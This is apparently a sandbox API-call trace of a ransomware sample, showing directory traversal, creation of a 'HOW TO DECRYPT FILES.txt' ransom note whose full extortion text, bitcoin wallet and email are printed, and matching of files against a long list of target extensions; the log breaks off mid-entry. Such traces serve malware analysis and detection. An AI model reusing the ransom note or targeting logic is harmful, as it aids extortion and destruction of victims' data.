ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0087.167] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.167] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.168] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.168] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.168] FindNextFileA (in: hFindFile=0x502718, lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0087.168] FindClose (in: hFindFile=0x502718 | out: hFindFile=0x502718) returned 1 [0087.168] FindNextFileA (in: hFindFile=0x5026d8, lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 0 [0087.168] FindClose (in: hFindFile=0x5026d8 | out: hFindFile=0x5026d8) returned 1 [0087.168] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x650073, dwReserved1=0x750063, cFileName="tmp", cAlternateFileName="")) returned 0 [0087.168] FindClose (in: hFindFile=0x502698 | out: hFindFile=0x502698) returned 1 [0087.168] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 1 [0087.168] lstrcmpA (lpString1=".", lpString2="jre1.7.0_45") returned -1 [0087.168] lstrcmpA (lpString1="..", lpString2="jre1.7.0_45") returned -1 [0087.169] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\*.*") returned="*.*" [0087.169] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6d0074, dwReserved1=0x70, cFileName=".", cAlternateFileName="")) returned 0x502698 [0087.169] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0087.169] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.169] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0087.169] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0087.169] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x182ac2a, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Data1.cab", cAlternateFileName="")) returned 1 [0087.169] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.169] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*.*") returned="*.*" [0087.170] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\" [0087.170] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\") returned="" [0087.170] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\HOW TO DECRYPT FILES.txt" [0087.170] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\how to decrypt files.txt")) returned 0xffffffff [0087.171] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0087.174] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0087.174] WriteFile (in: hFile=0x98, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0087.176] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0087.176] CloseHandle (hObject=0x98) returned 1 [0087.177] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\", lpString2="Data1.cab" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" [0087.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.ems") returned 0 [0087.177] lstrlenA (lpString="*.ems") returned 5 [0087.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.db") returned 0 [0087.177] lstrlenA (lpString="*.db") returned 4 [0087.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.dbf") returned 0 [0087.177] lstrlenA (lpString="*.dbf") returned 5 [0087.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.myox") returned 0 [0087.177] lstrlenA (lpString="*.myox") returned 6 [0087.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.myo") returned 0 [0087.177] lstrlenA (lpString="*.myo") returned 5 [0087.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.qbw") returned 0 [0087.177] lstrlenA (lpString="*.qbw") returned 5 [0087.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.qbb") returned 0 [0087.177] lstrlenA (lpString="*.qbb") returned 5 [0087.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.qbm") returned 0 [0087.177] lstrlenA (lpString="*.qbm") returned 5 [0087.177] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.qbo") returned 0 [0087.178] lstrlenA (lpString="*.qbo") returned 5 [0087.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.qbx") returned 0 [0087.178] lstrlenA (lpString="*.qbx") returned 5 [0087.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.qba") returned 0 [0087.178] lstrlenA (lpString="*.qba") returned 5 [0087.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.qby") returned 0 [0087.178] lstrlenA (lpString="*.qby") returned 5 [0087.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.qbj") returned 0 [0087.178] lstrlenA (lpString="*.qbj") returned 5 [0087.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.ofx") returned 0 [0087.178] lstrlenA (lpString="*.ofx") returned 5 [0087.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.qif") returned 0 [0087.178] lstrlenA (lpString="*.qif") returned 5 [0087.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.mye") returned 0 [0087.178] lstrlenA (lpString="*.mye") returned 5 [0087.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.mbox") returned 0 [0087.178] lstrlenA (lpString="*.mbox") returned 6 [0087.178] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.eml") returned 0 [0087.179] lstrlenA (lpString="*.eml") returned 5 [0087.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.pst") returned 0 [0087.179] lstrlenA (lpString="*.pst") returned 5 [0087.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.ost") returned 0 [0087.179] lstrlenA (lpString="*.ost") returned 5 [0087.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.idx") returned 0 [0087.179] lstrlenA (lpString="*.idx") returned 5 [0087.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.dbx") returned 0 [0087.179] lstrlenA (lpString="*.dbx") returned 5 [0087.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.sql") returned 0 [0087.179] lstrlenA (lpString="*.sql") returned 5 [0087.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.mdb") returned 0 [0087.179] lstrlenA (lpString="*.mdb") returned 5 [0087.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.fdb") returned 0 [0087.179] lstrlenA (lpString="*.fdb") returned 5 [0087.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.wab") returned 0 [0087.179] lstrlenA (lpString="*.wab") returned 5 [0087.179] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.dat") returned 0 [0087.179] lstrlenA (lpString="*.dat") returned 5 [0087.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.txt") returned 0 [0087.180] lstrlenA (lpString="*.txt") returned 5 [0087.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.jpeg") returned 0 [0087.180] lstrlenA (lpString="*.jpeg") returned 6 [0087.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.jpg") returned 0 [0087.180] lstrlenA (lpString="*.jpg") returned 5 [0087.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.png") returned 0 [0087.180] lstrlenA (lpString="*.png") returned 5 [0087.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.php") returned 0 [0087.180] lstrlenA (lpString="*.php") returned 5 [0087.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.cs") returned 0 [0087.180] lstrlenA (lpString="*.cs") returned 4 [0087.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.cpp") returned 0 [0087.180] lstrlenA (lpString="*.cpp") returned 5 [0087.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.rar") returned 0 [0087.180] lstrlenA (lpString="*.rar") returned 5 [0087.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.zip") returned 0 [0087.180] lstrlenA (lpString="*.zip") returned 5 [0087.180] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.html") returned 0 [0087.181] lstrlenA (lpString="*.html") returned 6 [0087.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.htm") returned 0 [0087.181] lstrlenA (lpString="*.htm") returned 5 [0087.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.xlsx") returned 0 [0087.181] lstrlenA (lpString="*.xlsx") returned 6 [0087.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.xls") returned 0 [0087.181] lstrlenA (lpString="*.xls") returned 5 [0087.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.mp4") returned 0 [0087.181] lstrlenA (lpString="*.mp4") returned 5 [0087.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.ppt") returned 0 [0087.181] lstrlenA (lpString="*.ppt") returned 5 [0087.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.pptx") returned 0 [0087.181] lstrlenA (lpString="*.pptx") returned 6 [0087.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.doc") returned 0 [0087.181] lstrlenA (lpString="*.doc") returned 5 [0087.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.dot") returned 0 [0087.181] lstrlenA (lpString="*.dot") returned 5 [0087.181] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.docx") returned 0 [0087.181] lstrlenA (lpString="*.docx") returned 6 [0087.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.7z") returned 0 [0087.182] lstrlenA (lpString="*.7z") returned 4 [0087.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.tar") returned 0 [0087.182] lstrlenA (lpString="*.tar") returned 5 [0087.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.bz2") returned 0 [0087.182] lstrlenA (lpString="*.bz2") returned 5 [0087.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.gz") returned 0 [0087.182] lstrlenA (lpString="*.gz") returned 4 [0087.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.mkv") returned 0 [0087.182] lstrlenA (lpString="*.mkv") returned 5 [0087.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.eml") returned 0 [0087.182] lstrlenA (lpString="*.eml") returned 5 [0087.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.msg") returned 0 [0087.182] lstrlenA (lpString="*.msg") returned 5 [0087.182] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.edb") returned 0 [0087.182] lstrlenA (lpString="*.edb") returned 5 [0087.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.accdb") returned 0 [0087.183] lstrlenA (lpString="*.accdb") returned 7 [0087.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.odb") returned 0 [0087.183] lstrlenA (lpString="*.odb") returned 5 [0087.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.java") returned 0 [0087.183] lstrlenA (lpString="*.java") returned 6 [0087.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.asm") returned 0 [0087.183] lstrlenA (lpString="*.asm") returned 5 [0087.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.pfx") returned 0 [0087.183] lstrlenA (lpString="*.pfx") returned 5 [0087.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.pem") returned 0 [0087.183] lstrlenA (lpString="*.pem") returned 5 [0087.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.p12") returned 0 [0087.183] lstrlenA (lpString="*.p12") returned 5 [0087.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.gpg") returned 0 [0087.183] lstrlenA (lpString="*.gpg") returned 5 [0087.183] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.vsd") returned 0 [0087.183] lstrlenA (lpString="*.vsd") returned 5 [0087.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.odg") returned 0 [0087.184] lstrlenA (lpString="*.odg") returned 5 [0087.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.raw") returned 0 [0087.184] lstrlenA (lpString="*.raw") returned 5 [0087.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.nef") returned 0 [0087.184] lstrlenA (lpString="*.nef") returned 5 [0087.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.svg") returned 0 [0087.184] lstrlenA (lpString="*.svg") returned 5 [0087.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.psd") returned 0 [0087.184] lstrlenA (lpString="*.psd") returned 5 [0087.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.vmx") returned 0 [0087.184] lstrlenA (lpString="*.vmx") returned 5 [0087.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.vmdk") returned 0 [0087.184] lstrlenA (lpString="*.vmdk") returned 6 [0087.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.vdi") returned 0 [0087.184] lstrlenA (lpString="*.vdi") returned 5 [0087.184] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.lay6") returned 0 [0087.184] lstrlenA (lpString="*.lay6") returned 6 [0087.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.mpeg") returned 0 [0087.185] lstrlenA (lpString="*.mpeg") returned 6 [0087.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 